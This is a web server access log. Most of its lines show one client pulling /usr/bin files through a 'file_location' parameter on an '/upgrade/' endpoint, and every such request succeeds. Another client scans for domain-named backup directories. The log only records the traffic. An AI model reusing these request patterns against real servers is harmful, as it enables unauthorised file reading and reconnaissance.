45.135.193.11 - - [11/Sep/2026:22:49:07 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_test_rwbuf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103233 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_test_rwbuf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-dissect&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114748 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-dissect&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzsoelim&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111477 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzsoelim&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhtpasswd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106055 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhtpasswd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_persist&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109781 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_persist&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:09 -0400] "GET /upgrade/?location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95774 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcolrm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100972 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcolrm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgvmap.sh&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96778 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgvmap.sh&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcs&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111054 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fipcs&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpfbtopfa&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96046 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpfbtopfa&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsplain&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104144 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsplain&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftimedatectl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114988 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftimedatectl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Funiq&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113099 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Funiq&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsphp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96227 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsphp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100376 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprocan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107664 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprocan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpslog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100516 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpslog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha512sum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 112179 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsha512sum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-config-manager&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97561 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-config-manager&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbase64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110026 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbase64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcov&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 332622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcov&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105757 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgetconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 249442 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flink&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flink&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmailx&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 623153 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmailx&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmore&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115547 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmore&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fexempi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105816 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fexempi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 129374 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-wks-server&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 151008 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpg-wks-server&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Finfocmp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 124925 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Finfocmp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-stats&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100214 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-link-stats&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-util-addr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99144 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-util-addr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_zone&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101992 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_zone&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fanimate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98940 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fanimate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_read_log&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1331339 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faria_read_log&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-trigger&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 115598 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdpkg-trigger&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flscpu&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 142767 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flscpu&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmailx.s-nail&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 623116 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmailx.s-nail&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprotoc-c&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 164130 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprotoc-c&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faddr2line&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104995 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faddr2line&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmcli&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 466912 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnmcli&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftail&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 124840 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftail&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftracepath&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103850 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftracepath&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fopenssl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 518523 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fopenssl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:49:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103167 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:25 -0400] "GET / HTTP/1.1" 200 14719 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftdspool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 213595 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftdspool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:25 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvdir&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 156360 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvdir&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /ba-guo.com-20260912023525/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /besth2o.com-20260912023731/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /beauty-dental.com-20260912023807/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 23427 "https://163.245.207.76:443/besth2o.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /ba-guo.com-20260912023525/ HTTP/1.1" 404 38625 "https://163.245.207.76:443/ba-guo.com-20260912023525/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /besth2o.com-20260912023731/ HTTP/1.1" 404 23427 "https://163.245.207.76:443/besth2o.com-20260912023731/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 38625 "https://163.245.207.76:443/ba-guo.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /beauty-dental.com-20260912023807/ HTTP/1.1" 404 48230 "https://163.245.207.76:443/beauty-dental.com-20260912023807/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:26 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 48230 "https://163.245.207.76:443/beauty-dental.com.tw/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwdctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107795 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwdctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /betcity.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /betcity.com-20260912023741/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestjudy.com-20260912023954/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestzyx.com-20260912023935/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyat2m&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111443 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyat2m&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 56869 "https://163.245.207.76:443/betcity.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 36701 "https://163.245.207.76:443/bestzyx.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /betcity.com-20260912023741/ HTTP/1.1" 404 56869 "https://163.245.207.76:443/betcity.com-20260912023741/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestjudy.com-20260912023954/ HTTP/1.1" 404 42127 "https://163.245.207.76:443/bestjudy.com-20260912023954/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 42127 "https://163.245.207.76:443/bestjudy.com.tw/" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bestzyx.com-20260912023935/ HTTP/1.1" 404 36701 "https://163.245.207.76:443/bestzyx.com-20260912023935/" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:49:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbasenc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 113809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbasenc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bft.com-20260912023929/ HTTP/1.1" 302 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
43.165.5.90 - - [11/Sep/2026:22:49:27 -0400] "GET /big-wife.com-20260912023937/ HTTP/1.1" 301 0 "-" "Go-http-client/1.1"
